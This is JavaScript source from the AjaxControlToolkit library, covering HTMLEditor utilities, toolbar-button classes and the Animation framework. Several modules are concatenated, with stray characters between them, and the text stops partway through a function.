AjaxControlToolkit.HTMLEditor.fontSizeSeek = function(val) {
    var seek = val.toString();

    switch (seek) {
        case "1":
            seek="8pt";
            break;
        case "2":
            seek="10pt";
            break;
        case "3":
            seek="12pt";
            break;
        case "4":
            seek="14pt";
            break;
        case "5":
            seek="18pt";
            break;
        case "6":
            seek="24pt";
            break;
        case "7":
            seek="36pt";
            break;
    }

    return seek;
};

AjaxControlToolkit.HTMLEditor.getOwnerDocument = function(node) {
    return node.nodeType == 9 ? node : node.ownerDocument || node.document;
};

AjaxControlToolkit.HTMLEditor.getClientViewportElement = function(opt_node) {
    var doc;

    if (opt_node.nodeType == 9) {
        doc = opt_node;
    } else {
        doc = AjaxControlToolkit.HTMLEditor.getOwnerDocument(opt_node);
    }

    if (AjaxControlToolkit.HTMLEditor.isIE && doc.compatMode != 'CSS1Compat') {
        return doc.body;
    }
    return doc.documentElement;
};

AjaxControlToolkit.HTMLEditor.isReallyVisible = function(el) {
    var elem = el;
    var real_visible = true;

    while(elem) {
        if(elem.style && AjaxControlToolkit.HTMLEditor.getStyle(elem,"display") == "none") {
            real_visible = false;
            break;
        }
        elem = elem.parentNode;
    }
    return real_visible;
}


AjaxControlToolkit.HTMLEditor.setSelectionRange = function(input, selectionStart, selectionEnd) {
    input.focus();
    if (input.setSelectionRange) {
        input.setSelectionRange(selectionStart, selectionEnd);
    }
    else if (input.createTextRange) {
        var range = input.createTextRange();
        range.collapse(true);
        range.moveEnd('character', selectionEnd);
        range.moveStart('character', selectionStart);
        range.select();
    }
};

AjaxControlToolkit.HTMLEditor.setElementVisibility = function(element) {
    var ret = new Array();
    var elem = element;

    while(elem && elem.nodeType==1 && elem.tagName.toUpperCase() != "BODY") {
        var display = elem.style.display;
        var visibility = elem.style.visibility;
        if(elem.style && (display == "none" || visibility == "hidden")) {
            ret.push({element: elem, display: display, visibility: visibility});
            elem.style.display = "";
            elem.style.visibility = "visible";
        }
        elem = elem.parentNode;
    }
    return ret;
};

AjaxControlToolkit.HTMLEditor.restoreElementVisibility = function(arr) {
    for(var i=0; i < arr.length; i++) {
        var item = arr[i];
        var style = item.element.style;
        style.display = item.display;
        style.visibility = item.visibility;
    }
};

if(!AjaxControlToolkit.HTMLEditor.isIE) {
    try { //not all such browsers support getter/setter
        AjaxControlToolkit.HTMLEditor.__MozillaGetInnerText = function(node, html) {
            var els=node.childNodes;
            for(var i=0;i<els.length;i++) {
                var elem = els[i];

                if(elem.nodeType == 3) {
                    html.write(elem.nodeValue.replace("\n",""));
                }
                if(elem.nodeType == 1) {
                    var display    =  AjaxControlToolkit.HTMLEditor.getStyle(elem,"display");
                    var visibility =  AjaxControlToolkit.HTMLEditor.getStyle(elem,"visibility");

                    if(AjaxControlToolkit.HTMLEditor.__needLineBreakBefore(elem)) {
                        html.write("\n");
                    }

                    if(AjaxControlToolkit.HTMLEditor.__needTabBefore(elem)) {
                        html.write("\t");
                    }

                    if(display != "none" && visibility != "hidden") {
                        AjaxControlToolkit.HTMLEditor.__MozillaGetInnerText(elem,html);
                    }

                    if(AjaxControlToolkit.HTMLEditor.__needLineBreakAfter(elem)) {
                        html.write("\n");
                    }
                }
            }
        };

        AjaxControlToolkit.HTMLEditor.__needLineBreakBefore = function(el)
        {
            var _Tags = " div table p pre ol ul blockquote form fieldset ";
            return (_Tags.indexOf(" " + el.tagName.toLowerCase() + " ") != -1);
        };

        AjaxControlToolkit.HTMLEditor.__needLineBreakAfter = function(el)
        {
            var _Tags = " br div table tr p pre ol ul li hr blockquote form fieldset legend ";
            return (_Tags.indexOf(" " + el.tagName.toLowerCase() + " ") != -1);
        };

        AjaxControlToolkit.HTMLEditor.__needTabBefore = function(el)
        {
            var _Tags = " td li ";
            return (_Tags.indexOf(" " + el.tagName.toLowerCase() + " ") != -1);
        };

//        HTMLElement.prototype.__defineGetter__("innerText",function() {
//                var html = new AjaxControlToolkit.HTMLEditor.jsDocument(true);
//                AjaxControlToolkit.HTMLEditor.__MozillaGetInnerText(this,html);
//                return html.toString();
//            }
//        );
    } catch(ex) {}
}

�Type.registerNamespace("AjaxControlToolkit.HTMLEditor");

AjaxControlToolkit.HTMLEditor.ActiveModeType = function() { }
AjaxControlToolkit.HTMLEditor.ActiveModeType.prototype = {
    Design : 0x00,
    Html : 0x01,
    Preview: 0x02
}
AjaxControlToolkit.HTMLEditor.ActiveModeType_checkValue = function(value) {
    if(value >= 0 && value <= 2) return true;
    return false;
}

AjaxControlToolkit.HTMLEditor.ActiveModeType.registerEnum("AjaxControlToolkit.HTMLEditor.ActiveModeType", true);


KType.registerNamespace("AjaxControlToolkit.HTMLEditor.ToolbarButton");AjaxControlToolkit.HTMLEditor.ToolbarButton.Undo=function(a){AjaxControlToolkit.HTMLEditor.ToolbarButton.Undo.initializeBase(this,[a])};AjaxControlToolkit.HTMLEditor.ToolbarButton.Undo.prototype={callMethod:function(){if(!AjaxControlToolkit.HTMLEditor.ToolbarButton.Undo.callBaseMethod(this,"callMethod"))return false;this._designPanel.undo()}};AjaxControlToolkit.HTMLEditor.ToolbarButton.Undo.registerClass("AjaxControlToolkit.HTMLEditor.ToolbarButton.Undo",AjaxControlToolkit.HTMLEditor.ToolbarButton.MethodButton);FType.registerNamespace("AjaxControlToolkit.HTMLEditor.ToolbarButton");AjaxControlToolkit.HTMLEditor.ToolbarButton.Underline=function(a){AjaxControlToolkit.HTMLEditor.ToolbarButton.Underline.initializeBase(this,[a])};AjaxControlToolkit.HTMLEditor.ToolbarButton.Underline.prototype={callMethod:function(){if(!AjaxControlToolkit.HTMLEditor.ToolbarButton.Underline.callBaseMethod(this,"callMethod"))return false;this._designPanel._execCommand("underline",false,null)},checkState:function(){if(!AjaxControlToolkit.HTMLEditor.ToolbarButton.Underline.callBaseMethod(this,"checkState"))return false;return this._designPanel._queryCommandState("underline")}};AjaxControlToolkit.HTMLEditor.ToolbarButton.Underline.registerClass("AjaxControlToolkit.HTMLEditor.ToolbarButton.Underline",AjaxControlToolkit.HTMLEditor.ToolbarButton.EditorToggleButton);FType.registerNamespace("AjaxControlToolkit.HTMLEditor.ToolbarButton");AjaxControlToolkit.HTMLEditor.ToolbarButton.JustifyFull=function(a){AjaxControlToolkit.HTMLEditor.ToolbarButton.JustifyFull.initializeBase(this,[a])};AjaxControlToolkit.HTMLEditor.ToolbarButton.JustifyFull.prototype={checkState:function(){if(!AjaxControlToolkit.HTMLEditor.ToolbarButton.JustifyFull.callBaseMethod(this,"checkState"))return false;return this._designPanel._textAlignState("justify")},callMethod:function(){if(!AjaxControlToolkit.HTMLEditor.ToolbarButton.JustifyFull.callBaseMethod(this,"callMethod"))return false;this._designPanel._execCommand("JustifyFull")}};AjaxControlToolkit.HTMLEditor.ToolbarButton.JustifyFull.registerClass("AjaxControlToolkit.HTMLEditor.ToolbarButton.JustifyFull",AjaxControlToolkit.HTMLEditor.ToolbarButton.EditorToggleButton);�Type.registerNamespace("AjaxControlToolkit.HTMLEditor.ToolbarButton");AjaxControlToolkit.HTMLEditor.ToolbarButton.InsertHR=function(a){AjaxControlToolkit.HTMLEditor.ToolbarButton.InsertHR.initializeBase(this,[a])};AjaxControlToolkit.HTMLEditor.ToolbarButton.InsertHR.prototype={callMethod:function(){if(!AjaxControlToolkit.HTMLEditor.ToolbarButton.InsertHR.callBaseMethod(this,"callMethod"))return false;var a=this._designPanel;try{a._saveContent();var e=a._doc.createElement("div");e.innerHTML="<hr>";var b=e.firstChild,c=a._getSafePlace();if(!c)return;var d=c.parentNode;d.insertBefore(b,c);d.removeChild(c);b=b.nextSibling?b.nextSibling:b;AjaxControlToolkit.HTMLEditor._setCursor(b,a);setTimeout(function(){a.onContentChanged();a._editPanel.updateToolbar()},0);a.focusEditor();return true}catch(f){}}};AjaxControlToolkit.HTMLEditor.ToolbarButton.InsertHR.registerClass("AjaxControlToolkit.HTMLEditor.ToolbarButton.InsertHR",AjaxControlToolkit.HTMLEditor.ToolbarButton.MethodButton);-Type.registerNamespace("AjaxControlToolkit.HTMLEditor.ToolbarButton");AjaxControlToolkit.HTMLEditor.ToolbarButton.ForeColorSelector=function(a){AjaxControlToolkit.HTMLEditor.ToolbarButton.ForeColorSelector.initializeBase(this,[a])};AjaxControlToolkit.HTMLEditor.ToolbarButton.ForeColorSelector.prototype={callMethod:function(){if(!AjaxControlToolkit.HTMLEditor.ToolbarButton.ForeColorSelector.callBaseMethod(this,"callMethod"))return false},setColor:function(a){AjaxControlToolkit.HTMLEditor.ToolbarButton.ForeColorSelector.callBaseMethod(this,"setColor",[a]);this._designPanel._execCommand("forecolor",false,a)}};AjaxControlToolkit.HTMLEditor.ToolbarButton.ForeColorSelector.registerClass("AjaxControlToolkit.HTMLEditor.ToolbarButton.ForeColorSelector",AjaxControlToolkit.HTMLEditor.ToolbarButton.ColorSelector);�Type.registerNamespace("AjaxControlToolkit.HTMLEditor.ToolbarButton");AjaxControlToolkit.HTMLEditor.ToolbarButton.FixedColorButton=function(b){var a=this;AjaxControlToolkit.HTMLEditor.ToolbarButton.FixedColorButton.initializeBase(a,[b]);a._defaultColor="#000000";a._colorDiv=null;a._methodButton=null};AjaxControlToolkit.HTMLEditor.ToolbarButton.FixedColorButton.prototype={get_defaultColor:function(){return this._defaultColor},set_defaultColor:function(a){this._defaultColor=a;if(this._colorDiv!=null)this._colorDiv.get_element().style.backgroundColor=a},get_colorDiv:function(){return this._colorDiv},set_colorDiv:function(a){this._colorDiv=a},get_methodButton:function(){return this._methodButton},set_methodButton:function(a){this._methodButton=a},callMethod:function(){if(!AjaxControlToolkit.HTMLEditor.ToolbarButton.FixedColorButton.callBaseMethod(this,"callMethod"))return false;this.setColor(this.get_defaultColor())},setColor:function(){},initialize:function(){var a=this;AjaxControlToolkit.HTMLEditor.ToolbarButton.FixedColorButton.callBaseMethod(a,"initialize");if(a._methodButton!=null)a._methodButton.callMethod=Function.createDelegate(a,a.callMethod);if(a._colorDiv!=null)a._colorDiv.callMethod=Function.createDelegate(a,a.callMethod)}};AjaxControlToolkit.HTMLEditor.ToolbarButton.FixedColorButton.registerClass("AjaxControlToolkit.HTMLEditor.ToolbarButton.FixedColorButton",AjaxControlToolkit.HTMLEditor.ToolbarButton.DesignModeBoxButton);7Type.registerNamespace("AjaxControlToolkit.HTMLEditor.ToolbarButton");AjaxControlToolkit.HTMLEditor.ToolbarButton.FixedBackColor=function(a){AjaxControlToolkit.HTMLEditor.ToolbarButton.FixedBackColor.initializeBase(this,[a])};AjaxControlToolkit.HTMLEditor.ToolbarButton.FixedBackColor.prototype={setColor:function(a){this._designPanel._execCommand("backcolor",false,a)}};AjaxControlToolkit.HTMLEditor.ToolbarButton.FixedBackColor.registerClass("AjaxControlToolkit.HTMLEditor.ToolbarButton.FixedBackColor",AjaxControlToolkit.HTMLEditor.ToolbarButton.FixedColorButton);�Type.registerNamespace("AjaxControlToolkit.HTMLEditor.ToolbarButton");AjaxControlToolkit.HTMLEditor.ToolbarButton.DesignMode=function(a){AjaxControlToolkit.HTMLEditor.ToolbarButton.DesignMode.initializeBase(this,[a])};AjaxControlToolkit.HTMLEditor.ToolbarButton.DesignMode.prototype={};AjaxControlToolkit.HTMLEditor.ToolbarButton.DesignMode.registerClass("AjaxControlToolkit.HTMLEditor.ToolbarButton.DesignMode",AjaxControlToolkit.HTMLEditor.ToolbarButton.ModeButton);|Type.registerNamespace("AjaxControlToolkit.Animation");var $AA=AjaxControlToolkit.Animation;$AA.registerAnimation=function(b,a){if(a&&(a===$AA.Animation||a.inheritsFrom&&a.inheritsFrom($AA.Animation))){if(!$AA.__animations)$AA.__animations={};$AA.__animations[b.toLowerCase()]=a;a.play=function(){var b=new a;a.apply(b,arguments);b.initialize();var c=Function.createDelegate(b,function(){b.remove_ended(c);c=null;b.dispose()});b.add_ended(c);b.play()}}else throw Error.argumentType("type",a,$AA.Animation,AjaxControlToolkit.Resources.Animation_InvalidBaseType);};$AA.buildAnimation=function(a,c){if(!a||a==="")return null;var b;a="("+a+")";if(!Sys.Debug.isDebug)try{b=Sys.Serialization.JavaScriptSerializer.deserialize(a)}catch(d){}else b=Sys.Serialization.JavaScriptSerializer.deserialize(a);return $AA.createAnimation(b,c)};$AA.createAnimation=function(c,l){var g="obj";if(!c||!c.AnimationName)throw Error.argument(g,AjaxControlToolkit.Resources.Animation_MissingAnimationName);var b=$AA.__animations[c.AnimationName.toLowerCase()];if(!b)throw Error.argument("type",String.format(AjaxControlToolkit.Resources.Animation_UknownAnimationName,c.AnimationName));var d=new b;l&&d.set_target(l);if(c.AnimationChildren&&c.AnimationChildren.length)if($AA.ParentAnimation.isInstanceOfType(d))for(var k=0;k<c.AnimationChildren.length;k++){var m=$AA.createAnimation(c.AnimationChildren[k]);m&&d.add(m)}else throw Error.argument(g,String.format(AjaxControlToolkit.Resources.Animation_ChildrenNotAllowed,b.getName()));var h=b.__animationProperties;if(!h){b.__animationProperties={};b.resolveInheritance();for(var j in b.prototype)if(j.startsWith("set_"))b.__animationProperties[j.substr(4).toLowerCase()]=j;delete b.__animationProperties["id"];h=b.__animationProperties}for(var e in c){var f=e.toLowerCase();if(f=="animationname"||f=="animationchildren")continue;var i=c[e],a=h[f];if(a&&String.isInstanceOfType(a)&&d[a])if(!Sys.Debug.isDebug)try{d[a](i)}catch(n){}else d[a](i);else if(f.endsWith("script")){a=h[f.substr(0,e.length-6)];if(a&&String.isInstanceOfType(a)&&d[a])d.DynamicProperties[a]=i;else if(Sys.Debug.isDebug)throw Error.argument(g,String.format(AjaxControlToolkit.Resources.Animation_NoDynamicPropertyFound,e,e.substr(0,e.length-5)));}else if(Sys.Debug.isDebug)throw Error.argument(g,String.format(AjaxControlToolkit.Resources.Animation_NoPropertyFound,e));}return d};$AA.Animation=function(d,c,e){var b=null,a=this;$AA.Animation.initializeBase(a);a._duration=1;a._fps=25;a._target=b;a._tickHandler=b;a._timer=b;a._percentComplete=0;a._percentDelta=b;a._owner=b;a._parentAnimation=b;a.DynamicProperties={};d&&a.set_target(d);c&&a.set_duration(c);e&&a.set_fps(e)};$AA.Animation.prototype={dispose:function(){var a=this;if(a._timer){a._timer.dispose();a._timer=null}a._tickHandler=null;a._target=null;$AA.Animation.callBaseMethod(a,"dispose")},play:function(){var a=this;if(!a._owner){var b=true;if(!a._timer){b=false;if(!a._tickHandler)a._tickHandler=Function.createDelegate(a,a._onTimerTick);a._timer=new Sys.Timer;a._timer.add_tick(a._tickHandler);a.onStart();a._timer.set_interval(1e3/a._fps);a._percentDelta=100/(a._duration*a._fps);a._updatePercentComplete(0,true)}a._timer.set_enabled(true);a.raisePropertyChanged("isPlaying");!b&&a.raisePropertyChanged("isActive")}},pause:function(){var a=this;if(!a._owner)if(a._timer){a._timer.set_enabled(false);a.raisePropertyChanged("isPlaying")}},stop:function(b){var a=this;if(!a._owner){var c=a._timer;a._timer=null;if(c){c.dispose();if(a._percentComplete!==100){a._percentComplete=100;a.raisePropertyChanged("percentComplete");(b||b===undefined)&&a.onStep(100)}a.onEnd();a.raisePropertyChanged("isPlaying");a.raisePropertyChanged("isActive")}}},onStart:function(){var a=this;a.raiseStarted();for(var property in a.DynamicProperties)try{a[property](eval(a.DynamicProperties[property]))}catch(a){if(Sys.Debug.isDebug)throw a;}},onStep:function(a){this.setValue(this.getAnimatedValue(a));this.raiseStep()},onEnd:function(){this.raiseEnded()},getAnimatedValue:function(){throw Error.notImplemented();},setValue:function(){throw Error.notImplemented();},interpolate:function(a,c,b){return a+(c-a)*(b/100)},_onTimerTick:function(){this._updatePercentComplete(this._percentComplete+this._percentDelta,true)},_updatePercentComplete:function(a,c){var b=this;if(a>100)a=100;b._percentComplete=a;b.raisePropertyChanged("percentComplete");c&&b.onStep(a);a===100&&b.stop(false)},setOwner:function(a){this._owner=a},raiseStarted:function(){var a=this.get_events().getHandler("started");a&&a(this,Sys.EventArgs.Empty)},add_started:function(a){this.get_events().addHandler("started",a)},remove_started:function(a){this.get_events().removeHandler("started",a)},raiseEnded:function(){var a=this.get_events().getHandler("ended");a&&a(this,Sys.EventArgs.Empty)},add_ended:function(a){this.get_events().addHandler("ended",a)},remove_ended:function(a){this.get_events().removeHandler("ended",a)},raiseStep:function(){var a=this.get_events().getHandler("step");a&&a(this,Sys.EventArgs.Empty)},add_step:function(a){this.get_events().addHandler("step",a)},remove_step:function(a){this.get_events().removeHandler("step",a)},get_target:function(){var a=this;if(!a._target&&a._parentAnimation)return a._parentAnimation.get_target();return a._target},set_target:function(a){if(this._target!=a){this._target=a;this.raisePropertyChanged("target")}},set_animationTarget:function(c){var b=null,a=$get(c);if(a)b=a;else{var d=$find(c);if(d){a=d.get_element();if(a)b=a}}if(b)this.set_target(b);else throw Error.argument("id",String.format(AjaxControlToolkit.Resources.Animation_TargetNotFound,c));},get_duration:function(){return this._duration},set_duration:function(b){var a=this;b=a._getFloat(b);if(a._duration!=b){a._duration=b;a.raisePropertyChanged("duration")}},get_fps:function(){return this._fps},set_fps:function(b){var a=this;b=a._getInteger(b);if(a.fps!=b){a._fps=b;a.raisePropertyChanged("fps")}},get_isActive:function(){return this._timer!==null},get_isPlaying:function(){return this._timer!==null&&this._timer.get_enabled()},get_percentComplete:function(){return this._percentComplete},_getBoolean:function(a){if(String.isInstanceOfType(a))return Boolean.parse(a);return a},_getInteger:function(a){if(String.isInstanceOfType(a))return parseInt(a);return a},_getFloat:function(a){if(String.isInstanceOfType(a))return parseFloat(a);return a},_getEnum:function(a,b){if(String.isInstanceOfType(a)&&b&&b.parse)return b.parse(a);return a}};$AA.Animation.registerClass("AjaxControlToolkit.Animation.Animation",Sys.Component);$AA.registerAnimation("animation",$AA.Animation);$AA.ParentAnimation=function(d,c,e,a){$AA.ParentAnimation.initializeBase(this,[d,c,e]);this._animations=[];if(a&&a.length)for(var b=0;b<a.length;b++)this.add(a[b])};$AA.ParentAnimation.prototype={initialize:function(){var a=this;$AA.ParentAnimation.callBaseMethod(a,"initialize");if(a._animations)for(var c=0;c<a._animations.length;c++){var b=a._animations[c];b&&!b.get_isInitialized&&b.initialize()}},dispose:function(){this.clear();this._animations=null;$AA.ParentAnimation.callBaseMethod(this,"dispose")},get_animations:function(){return this._animations},add:function(b){var a=this;if(a._animations){if(b)b._parentAnimation=a;Array.add(a._animations,b);a.raisePropertyChanged("animations")}},remove:function(a){if(this._animations){a&&a.dispose();Array.remove(this._animations,a);this.raisePropertyChanged("animations")}},removeAt:function(c){var a=this;if(a._animations){var b=a._animations[c];b&&b.dispose();Array.removeAt(a._animations,c);a.raisePropertyChanged("animations")}},clear:function(){var a=this;if(a._animations){for(var b=a._animations.length-1;b>=0;b--){a._animations[b].dispose();a._animations[b]=null}Array.clear(a._animations);a._animations=[];a.raisePropertyChanged("animations")}}};$AA.ParentAnimation.registerClass("AjaxControlToolkit.Animation.ParentAnimation",$AA.Animation);$AA.registerAnimation("parent",$AA.ParentAnimation);$AA.ParallelAnimation=function(c,b,d,a){$AA.ParallelAnimation.initializeBase(this,[c,b,d,a])};$AA.ParallelAnimation.prototype={add:function(a){$AA.ParallelAnimation.callBaseMethod(this,"add",[a]);a.setOwner(this)},onStart:function(){$AA.ParallelAnimation.callBaseMethod(this,"onStart");for(var b=this.get_animations(),a=0;a<b.length;a++)b[a].onStart()},onStep:function(c){for(var b=this.get_animations(),a=0;a<b.length;a++)b[a].onStep(c)},onEnd:function(){for(var b=this.get_animations(),a=0;a<b.length;a++)b[a].onEnd();$AA.ParallelAnimation.callBaseMethod(this,"onEnd")}};$AA.ParallelAnimation.registerClass("AjaxControlToolkit.Animation.ParallelAnimation",$AA.ParentAnimation);$AA.registerAnimation("parallel",$AA.ParallelAnimation);$AA.SequenceAnimation=function(e,d,f,c,b){var a=this;$AA.SequenceAnimation.initializeBase(a,[e,d,f,c]);a._handler=null;a._paused=false;a._playing=false;a._index=0;a._remainingIterations=0;a._iterations=b!==undefined?b:1};$AA.SequenceAnimation.prototype={dispose:function(){this._handler=null;$AA.SequenceAnimation.callBaseMethod(this,"dispose")},stop:function(){var a=this;if(a._playing){var b=a.get_animations();if(a._index<b.length){b[a._index].remove_ended(a._handler);for(var c=a._index;c<b.length;c++)b[c].stop()}a._playing=false;a._paused=false;a.raisePropertyChanged("isPlaying");a.onEnd()}},pause:function(){var a=this;if(a.get_isPlaying()){var b=a.get_animations()[a._index];b!=null&&b.pause();a._paused=true;a.raisePropertyChanged("isPlaying")}},play:function(){var c="isPlaying",a=this,d=a.get_animations();if(!a._playing){a._playing=true;if(a._paused){a._paused=false;var e=d[a._index];if(e!=null){e.play();a.raisePropertyChanged(c)}}else{a.onStart();a._index=0;var b=d[a._index];if(b){b.add_ended(a._handler);b.play();a.raisePropertyChanged(c)}else a.stop()}}},onStart:function(){var a=this;$AA.SequenceAnimation.callBaseMethod(a,"onStart");a._remainingIterations=a._iterations-1;if(!a._handler)a._handler=Function.createDelegate(a,a._onEndAnimation)},_onEndAnimation:function(){var a=this,b=a.get_animations(),c=b[a._index++];c&&c.remove_ended(a._handler);if(a._index<b.length){var e=b[a._index];e.add_ended(a._handler);e.play()}else if(a._remainingIterations>=1||a._iterations<=0){a._remainingIterations--;a._index=0;var d=b[0];d.add_ended(a._handler);d.play()}else a.stop()},onStep:function(){throw Error.invalidOperation(AjaxControlToolkit.Resources.Animation_CannotNestSequence);},onEnd:function(){this._remainingIterations=0;$AA.SequenceAnimation.callBaseMethod(this,"onEnd")},get_isActive:function(){return true},get_isPlaying:function(){return this._playing&&!this._paused},get_iterations:function(){return this._iterations},set_iterations:function(b){var a=this;b=a._getInteger(b);if(a._iterations!=b){a._iterations=b;a.raisePropertyChanged("iterations")}},get_isInfinite:function(){return this._iterations<=0}};$AA.SequenceAnimation.registerClass("AjaxControlToolkit.Animation.SequenceAnimation",$AA.ParentAnimation);$AA.registerAnimation("sequence",$AA.SequenceAnimation);$AA.SelectionAnimation=function(c,b,d,a){$AA.SelectionAnimation.initializeBase(this,[c,b,d,a]);this._selectedIndex=-1;this._selected=null};$AA.SelectionAnimation.prototype={getSelectedIndex:function(){throw Error.notImplemented();},onStart:function(){var a=this;$AA.SelectionAnimation.callBaseMethod(a,"onStart");var b=a.get_animations();a._selectedIndex=a.getSelectedIndex();if(a._selectedIndex>=0&&a._selectedIndex<b.length){a._selected=b[a._selectedIndex];if(a._selected){a._selected.setOwner(a);a._selected.onStart()}}},onStep:function(a){this._selected&&this._selected.onStep(a)},onEnd:function(){var a=this;if(a._selected){a._selected.onEnd();a._selected.setOwner(null)}a._selected=null;a._selectedIndex=null;$AA.SelectionAnimation.callBaseMethod(a,"onEnd")}};$AA.SelectionAnimation.registerClass("AjaxControlToolkit.Animation.SelectionAnimation",$AA.ParentAnimation);$AA.registerAnimation("selection",$AA.SelectionAnimation);$AA.ConditionAnimation=function(d,c,e,b,a){$AA.ConditionAnimation.initializeBase(this,[d,c,e,b]);this._conditionScript=a};$AA.ConditionAnimation.prototype={getSelectedIndex:function(){var selected=-1;if(this._conditionScript&&this._conditionScript.length>0)try{selected=eval(this._conditionScript)?0:1}catch(a){}return selected},get_conditionScript:function(){return this._conditionScript},set_conditionScript:function(a){if(this._conditionScript!=a){this._conditionScript=a;this.raisePropertyChanged("conditionScript")}}};$AA.ConditionAnimation.registerClass("AjaxControlToolkit.Animation.ConditionAnimation",$AA.SelectionAnimation);$AA.registerAnimation("condition",$AA.ConditionAnimation);$AA.CaseAnimation=function(d,c,e,b,a){$AA.CaseAnimation.initializeBase(this,[d,c,e,b]);this._selectScript=a};$AA.CaseAnimation.prototype={getSelectedIndex:function(){var selected=-1;if(this._selectScript&&this._selectScript.length>0)try{var result=eval(this._selectScript);if(result!==undefined)selected=result}catch(a){}return selected},get_selectScript:function(){return this._selectScript},set_selectScript:function(a){if(this._selectScript!=a){this._selectScript=a;this.raisePropertyChanged("selectScript")}}};$AA.CaseAnimation.registerClass("AjaxControlToolkit.Animation.CaseAnimation",$AA.SelectionAnimation);$AA.registerAnimation("case",$AA.CaseAnimation);$AA.FadeEffect=function(){throw Error.invalidOperation();};$AA.FadeEffect.prototype={FadeIn:0,FadeOut:1};$AA.FadeEffect.registerEnum("AjaxControlToolkit.Animation.FadeEffect",false);$AA.FadeAnimation=function(g,f,h,e,d,c,b){var a=this;$AA.FadeAnimation.initializeBase(a,[g,f,h]);a._effect=e!==undefined?e:$AA.FadeEffect.FadeIn;a._max=c!==undefined?c:1;a._min=d!==undefined?d:0;a._start=a._min;a._end=a._max;a._layoutCreated=false;a._forceLayoutInIE=b===undefined||b===null?true:b;a._currentTarget=null;a._resetOpacities()};$AA.FadeAnimation.prototype={_resetOpacities:function(){var a=this;if(a._effect==$AA.FadeEffect.FadeIn){a._start=a._min;a._end=a._max}else{a._start=a._max;a._end=a._min}},_createLayout:function(){var a=this,b=a._currentTarget;if(b){a._originalWidth=$common.getCurrentStyle(b,"width");var c=$common.getCurrentStyle(b,"height");a._originalBackColor=$common.getCurrentStyle(b,"backgroundColor");if((!a._originalWidth||a._originalWidth==""||a._originalWidth=="auto")&&(!c||c==""||c=="auto"))b.style.width=b.offsetWidth+"px";if(!a._originalBackColor||a._originalBackColor==""||a._originalBackColor=="transparent"||a._originalBackColor=="rgba(0, 0, 0, 0)")b.style.backgroundColor=$common.getInheritedBackgroundColor(b);a._layoutCreated=true}},onStart:function(){var a=this;$AA.FadeAnimation.callBaseMethod(a,"onStart");a._currentTarget=a.get_target();a.setValue(a._start);a._forceLayoutInIE&&!a._layoutCreated&&Sys.Browser.agent==Sys.Browser.InternetExplorer&&a._createLayout()},getAnimatedValue:function(a){return this.interpolate(this._start,this._end,a)},setValue:function(a){this._currentTarget&&$common.setElementOpacity(this._currentTarget,a)},get_effect:function(){return this._effect},set_effect:function(b){var a=this;b=a._getEnum(b,$AA.FadeEffect);if(a._effect!=b){a._effect=b;a._resetOpacities();a.raisePropertyChanged("effect")}},get_minimumOpacity:function(){return this._min},set_minimumOpacity:function(b){var a=this;b=a._getFloat(b);if(a._min!=b){a._min=b;a._resetOpacities();a.raisePropertyChanged("minimumOpacity")}},get_maximumOpacity:function(){return this._max},set_maximumOpacity:function(b){var a=this;b=a._getFloat(b);if(a._max!=b){a._max=b;a._resetOpacities();a.raisePropertyChanged("maximumOpacity")}},get_forceLayoutInIE:function(){return this._forceLayoutInIE},set_forceLayoutInIE:function(b){var a=this;b=a._getBoolean(b);if(a._forceLayoutInIE!=b){a._forceLayoutInIE=b;a.raisePropertyChanged("forceLayoutInIE")}},set_startValue:function(a){a=this._getFloat(a);this._start=a}};$AA.FadeAnimation.registerClass("AjaxControlToolkit.Animation.FadeAnimation",$AA.Animation);$AA.registerAnimation("fade",$AA.FadeAnimation);$AA.FadeInAnimation=function(e,d,f,c,b,a){$AA.FadeInAnimation.initializeBase(this,[e,d,f,$AA.FadeEffect.FadeIn,c,b,a])};$AA.FadeInAnimation.prototype={onStart:function(){var a=this;$AA.FadeInAnimation.callBaseMethod(a,"onStart");a._currentTarget&&a.set_startValue($common.getElementOpacity(a._currentTarget))}};$AA.FadeInAnimation.registerClass("AjaxControlToolkit.Animation.FadeInAnimation",$AA.FadeAnimation);$AA.registerAnimation("fadeIn",$AA.FadeInAnimation);$AA.FadeOutAnimation=function(e,d,f,c,b,a){$AA.FadeOutAnimation.initializeBase(this,[e,d,f,$AA.FadeEffect.FadeOut,c,b,a])};$AA.FadeOutAnimation.prototype={onStart:function(){var a=this;$AA.FadeOutAnimation.callBaseMethod(a,"onStart");a._currentTarget&&a.set_startValue($common.getElementOpacity(a._currentTarget))}};$AA.FadeOutAnimation.registerClass("AjaxControlToolkit.Animation.FadeOutAnimation",$AA.FadeAnimation);$AA.registerAnimation("fadeOut",$AA.FadeOutAnimation);$AA.PulseAnimation=function(c,b,d,h,g,f,e){var a=this;$AA.PulseAnimation.initializeBase(a,[c,b,d,null,h!==undefined?h:3]);a._out=new $AA.FadeOutAnimation(c,b,d,g,f,e);a.add(a._out);a._in=new $AA.FadeInAnimation(c,b,d,g,f,e);a.add(a._in)};$AA.PulseAnimation.prototype={get_minimumOpacity:function(){return this._out.get_minimumOpacity()},set_minimumOpacity:function(b){var a=this;b=a._getFloat(b);a._out.set_minimumOpacity(b);a._in.set_minimumOpacity(b);a.raisePropertyChanged("minimumOpacity")},get_maximumOpacity:function(){return this._out.get_maximumOpacity()},set_maximumOpacity:function(b){var a=this;b=a._getFloat(b);a._out.set_maximumOpacity(b);a._in.set_maximumOpacity(b);a.raisePropertyChanged("maximumOpacity")},get_forceLayoutInIE:function(){return this._out.get_forceLayoutInIE()},set_forceLayoutInIE:function(b){var a=this;b=a._getBoolean(b);a._out.set_forceLayoutInIE(b);a._in.set_forceLayoutInIE(b);a.raisePropertyChanged("forceLayoutInIE")},set_duration:function(a){var b=this;a=b._getFloat(a);$AA.PulseAnimation.callBaseMethod(b,"set_duration",[a]);b._in.set_duration(a);b._out.set_duration(a)},set_fps:function(a){var b=this;a=b._getInteger(a);$AA.PulseAnimation.callBaseMethod(b,"set_fps",[a]);b._in.set_fps(a);b._out.set_fps(a)}};$AA.PulseAnimation.registerClass("AjaxControlToolkit.Animation.PulseAnimation",$AA.SequenceAnimation);$AA.registerAnimation("pulse",$AA.PulseAnimation);$AA.PropertyAnimation=function(e,c,f,d,b){var a=this;$AA.PropertyAnimation.initializeBase(a,[e,c,f]);a._property=d;a._propertyKey=b;a._currentTarget=null};$AA.PropertyAnimation.prototype={onStart:function(){$AA.PropertyAnimation.callBaseMethod(this,"onStart");this._currentTarget=this.get_target()},setValue:function(c){var a=this,b=a._currentTarget;if(b&&a._property&&a._property.length>0)if(a._propertyKey&&a._propertyKey.length>0&&b[a._property])b[a._property][a._propertyKey]=c;else b[a._property]=c},getValue:function(){var 